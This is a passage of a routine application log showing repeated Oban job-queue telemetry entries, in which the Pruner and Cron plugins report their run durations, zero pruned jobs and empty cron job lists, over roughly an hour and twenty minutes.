{"source":"oban","duration":1057,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:05:00.557 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:05:26.817 [info] {"source":"oban","duration":983,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:05:56.819 [info] {"source":"oban","duration":1224,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:06:00.558 [info] {"source":"oban","duration":448,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:06:26.821 [info] {"source":"oban","duration":971,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:06:56.823 [info] {"source":"oban","duration":1435,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:07:00.559 [info] {"source":"oban","duration":510,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:07:26.825 [info] {"source":"oban","duration":1333,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:07:56.827 [info] {"source":"oban","duration":1299,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:08:00.561 [info] {"source":"oban","duration":504,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:08:26.829 [info] {"source":"oban","duration":1472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:08:56.831 [info] {"source":"oban","duration":1321,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:09:00.562 [info] {"source":"oban","duration":167,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:09:26.833 [info] {"source":"oban","duration":1390,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:09:56.835 [info] {"source":"oban","duration":1448,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:10:00.563 [info] {"source":"oban","duration":571,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:10:26.837 [info] {"source":"oban","duration":1368,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:10:56.839 [info] {"source":"oban","duration":1505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:11:00.564 [info] {"source":"oban","duration":433,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:11:26.841 [info] {"source":"oban","duration":1455,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:11:56.843 [info] {"source":"oban","duration":1134,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:12:00.565 [info] {"source":"oban","duration":423,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:12:26.845 [info] {"source":"oban","duration":1259,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:12:56.847 [info] {"source":"oban","duration":1497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:13:00.566 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:13:26.849 [info] {"source":"oban","duration":993,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:13:56.851 [info] {"source":"oban","duration":1439,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:14:00.568 [info] {"source":"oban","duration":499,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:14:26.853 [info] {"source":"oban","duration":1106,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:14:56.855 [info] {"source":"oban","duration":1107,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:15:00.569 [info] {"source":"oban","duration":472,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:15:26.857 [info] {"source":"oban","duration":1551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:15:56.859 [info] {"source":"oban","duration":1546,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:16:00.570 [info] {"source":"oban","duration":278,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:16:26.861 [info] {"source":"oban","duration":1503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:16:56.863 [info] {"source":"oban","duration":1838,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:17:00.571 [info] {"source":"oban","duration":441,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:17:26.866 [info] {"source":"oban","duration":1184,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:17:56.868 [info] {"source":"oban","duration":1360,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:18:00.572 [info] {"source":"oban","duration":573,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:18:26.870 [info] {"source":"oban","duration":1484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:18:56.872 [info] {"source":"oban","duration":1015,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:19:00.573 [info] {"source":"oban","duration":423,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:19:26.874 [info] {"source":"oban","duration":1244,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:19:56.876 [info] {"source":"oban","duration":1034,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:20:00.574 [info] {"source":"oban","duration":324,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:20:26.878 [info] {"source":"oban","duration":1387,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:20:56.880 [info] {"source":"oban","duration":1303,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:21:00.575 [info] {"source":"oban","duration":337,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:21:26.882 [info] {"source":"oban","duration":1108,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:21:56.884 [info] {"source":"oban","duration":1002,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:22:00.576 [info] {"source":"oban","duration":434,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:22:26.886 [info] {"source":"oban","duration":1211,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:22:56.888 [info] {"source":"oban","duration":1475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:23:00.577 [info] {"source":"oban","duration":598,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:23:26.890 [info] {"source":"oban","duration":1213,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:23:56.892 [info] {"source":"oban","duration":1472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:24:00.578 [info] {"source":"oban","duration":359,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:24:26.894 [info] {"source":"oban","duration":1375,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:24:56.896 [info] {"source":"oban","duration":1350,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:25:00.579 [info] {"source":"oban","duration":270,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:25:26.898 [info] {"source":"oban","duration":1226,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:25:56.900 [info] {"source":"oban","duration":1418,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:26:00.580 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:26:26.902 [info] {"source":"oban","duration":1271,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:26:56.904 [info] {"source":"oban","duration":1284,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:27:00.581 [info] {"source":"oban","duration":276,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:27:26.906 [info] {"source":"oban","duration":1425,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:27:56.908 [info] {"source":"oban","duration":1307,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:28:00.582 [info] {"source":"oban","duration":332,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:28:26.910 [info] {"source":"oban","duration":1370,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:28:56.912 [info] {"source":"oban","duration":1603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:29:00.583 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:29:26.915 [info] {"source":"oban","duration":1338,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:29:56.917 [info] {"source":"oban","duration":1470,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:30:00.584 [info] {"source":"oban","duration":349,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:30:26.919 [info] {"source":"oban","duration":1743,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:30:56.922 [info] {"source":"oban","duration":1322,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:31:00.585 [info] {"source":"oban","duration":320,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:31:26.924 [info] {"source":"oban","duration":1163,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:31:56.926 [info] {"source":"oban","duration":1064,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:32:00.586 [info] {"source":"oban","duration":313,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:32:26.928 [info] {"source":"oban","duration":1449,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:32:56.930 [info] {"source":"oban","duration":1424,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:33:00.587 [info] {"source":"oban","duration":333,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:33:26.932 [info] {"source":"oban","duration":1329,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:33:56.934 [info] {"source":"oban","duration":1406,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:34:00.588 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:34:26.936 [info] {"source":"oban","duration":1447,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:34:56.938 [info] {"source":"oban","duration":1458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:35:00.589 [info] {"source":"oban","duration":245,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:35:26.940 [info] {"source":"oban","duration":1301,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:35:56.942 [info] {"source":"oban","duration":1439,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:36:00.590 [info] {"source":"oban","duration":363,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:36:26.944 [info] {"source":"oban","duration":1351,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:36:56.946 [info] {"source":"oban","duration":1509,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:37:00.591 [info] {"source":"oban","duration":242,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:37:26.948 [info] {"source":"oban","duration":1477,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:37:56.950 [info] {"source":"oban","duration":1490,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:38:00.592 [info] {"source":"oban","duration":298,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:38:26.952 [info] {"source":"oban","duration":1602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:38:56.954 [info] {"source":"oban","duration":1393,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:39:00.593 [info] {"source":"oban","duration":329,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:39:26.955 [info] {"source":"oban","duration":907,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:39:56.958 [info] {"source":"oban","duration":957,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:40:00.594 [info] {"source":"oban","duration":245,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:40:26.960 [info] {"source":"oban","duration":1333,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:40:56.962 [info] {"source":"oban","duration":1254,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:41:00.595 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:41:26.964 [info] {"source":"oban","duration":1324,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:41:56.966 [info] {"source":"oban","duration":1442,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:42:00.596 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:42:26.968 [info] {"source":"oban","duration":1473,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:42:56.970 [info] {"source":"oban","duration":1452,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:43:00.597 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:43:26.972 [info] {"source":"oban","duration":1253,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:43:56.975 [info] {"source":"oban","duration":1368,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:44:00.598 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:44:26.977 [info] {"source":"oban","duration":1494,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:44:56.979 [info] {"source":"oban","duration":1464,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:45:00.599 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:45:26.981 [info] {"source":"oban","duration":1450,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:45:56.983 [info] {"source":"oban","duration":1292,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:46:00.600 [info] {"source":"oban","duration":237,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:46:26.985 [info] {"source":"oban","duration":1242,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:46:56.987 [info] {"source":"oban","duration":1236,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:47:00.601 [info] {"source":"oban","duration":251,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:47:26.989 [info] {"source":"oban","duration":1401,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:47:56.991 [info] {"source":"oban","duration":1577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:48:00.602 [info] {"source":"oban","duration":415,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:48:26.993 [info] {"source":"oban","duration":1464,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:48:56.994 [info] {"source":"oban","duration":939,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:49:00.603 [info] {"source":"oban","duration":362,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:49:26.997 [info] {"source":"oban","duration":1143,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:49:56.999 [info] {"source":"oban","duration":1429,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:50:00.604 [info] {"source":"oban","duration":308,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:50:27.001 [info] {"source":"oban","duration":1432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:50:57.003 [info] {"source":"oban","duration":1417,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:51:00.605 [info] {"source":"oban","duration":336,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:51:27.005 [info] {"source":"oban","duration":1327,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:51:57.007 [info] {"source":"oban","duration":1350,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:52:00.606 [info] {"source":"oban","duration":356,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:52:27.009 [info] {"source":"oban","duration":1357,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:52:57.011 [info] {"source":"oban","duration":1375,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:53:00.607 [info] {"source":"oban","duration":316,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:53:27.013 [info] {"source":"oban","duration":1472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:53:57.015 [info] {"source":"oban","duration":1429,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:54:00.608 [info] {"source":"oban","duration":267,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:54:27.017 [info] {"source":"oban","duration":1331,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:54:57.019 [info] {"source":"oban","duration":1678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:55:00.609 [info] {"source":"oban","duration":566,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:55:27.021 [info] {"source":"oban","duration":1164,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:55:57.023 [info] {"source":"oban","duration":1033,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:56:00.611 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:56:27.025 [info] {"source":"oban","duration":1324,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:56:57.027 [info] {"source":"oban","duration":1061,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:57:00.612 [info] {"source":"oban","duration":340,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:57:27.029 [info] {"source":"oban","duration":1121,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:57:57.031 [info] {"source":"oban","duration":1023,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:58:00.613 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:58:27.033 [info] {"source":"oban","duration":1333,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:58:57.035 [info] {"source":"oban","duration":1383,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:59:00.614 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:59:27.037 [info] {"source":"oban","duration":1405,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:59:57.039 [info] {"source":"oban","duration":1473,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:00:00.615 [info] {"source":"oban","duration":294,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:00:27.041 [info] {"source":"oban","duration":1442,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:00:57.043 [info] {"source":"oban","duration":1241,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:01:00.616 [info] {"source":"oban","duration":275,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:01:27.045 [info] {"source":"oban","duration":1437,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:01:57.047 [info] {"source":"oban","duration":1380,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:02:00.617 [info] {"source":"oban","duration":262,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:02:27.049 [info] {"source":"oban","duration":1274,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:02:57.051 [info] {"source":"oban","duration":1063,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:03:00.618 [info] {"source":"oban","duration":261,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:03:27.053 [info] {"source":"oban","duration":1476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:03:57.055 [info] {"source":"oban","duration":1199,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:04:00.619 [info] {"source":"oban","duration":328,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:04:27.057 [info] {"source":"oban","duration":1236,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:04:57.059 [info] {"source":"oban","duration":1173,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:05:00.620 [info] {"source":"oban","duration":322,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:05:27.061 [info] {"source":"oban","duration":1067,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:05:57.063 [info] {"source":"oban","duration":955,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:06:00.621 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:06:27.065 [info] {"source":"oban","duration":939,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:06:57.067 [info] {"source":"oban","duration":1692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:07:00.622 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:07:27.070 [info] {"source":"oban","duration":1368,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:07:57.072 [info] {"source":"oban","duration":1312,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:08:00.623 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:08:27.074 [info] {"source":"oban","duration":1488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:08:57.076 [info] {"source":"oban","duration":1471,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:09:00.624 [info] {"source":"oban","duration":272,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:09:27.078 [info] {"source":"oban","duration":1434,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:09:57.080 [info] {"source":"oban","duration":1312,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:10:00.625 [info] {"source":"oban","duration":265,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:10:27.082 [info] {"source":"oban","duration":1433,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:10:57.084 [info] {"source":"oban","duration":1019,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:11:00.626 [info] {"source":"oban","duration":246,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:11:27.086 [info] {"source":"oban","duration":1325,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:11:57.088 [info] {"source":"oban","duration":1060,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:12:00.627 [info] {"source":"oban","duration":509,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:12:27.090 [info] {"source":"oban","duration":1429,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:12:57.092 [info] {"source":"oban","duration":1471,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:13:00.628 [info] {"source":"oban","duration":422,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:13:27.094 [info] {"source":"oban","duration":1392,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:13:57.096 [info] {"source":"oban","duration":953,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:14:00.629 [info] {"source":"oban","duration":360,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:14:27.098 [info] {"source":"oban","duration":990,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:14:57.100 [info] {"source":"oban","duration":948,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:15:00.630 [info] {"source":"oban","duration":290,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:15:27.102 [info] {"source":"oban","duration":1411,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:15:57.104 [info] {"source":"oban","duration":1136,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:16:00.631 [info] {"source":"oban","duration":282,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:16:27.106 [info] {"source":"oban","duration":1219,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:16:57.108 [info] {"source":"oban","duration":1440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:17:00.632 [info] {"source":"oban","duration":292,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:17:27.110 [info] {"source":"oban","duration":1270,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:17:57.112 [info] {"source":"oban","duration":1005,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:18:00.633 [info] {"source":"oban","duration":258,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:18:27.114 [info] {"source":"oban","duration":1352,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:18:57.116 [info] {"source":"oban","duration":1344,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:19:00.634 [info] {"source":"oban","duration":258,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:19:27.118 [info] {"source":"oban","duration":1505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:19:57.120 [info] {"source":"oban","duration":1591,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:20:00.635 [info] {"source":"oban","duration":300,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:20:27.122 [info] {"source":"oban","duration":1195,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:20:57.124 [info] {"source":"oban","duration":1016,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:21:00.636 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:21:27.126 [info] {"source":"oban","duration":1242,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:21:57.128 [info] {"source":"oban","duration":1230,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:22:00.637 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:22:27.130 [info] {"source":"oban","duration":1086,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:22:57.132 [info] {"source":"oban","duration":1249,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:23:00.638 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:23:27.134 [info] {"source":"oban","duration":1078,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:23:57.136 [info] {"source":"oban","duration":1404,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:24:00.639 [info] 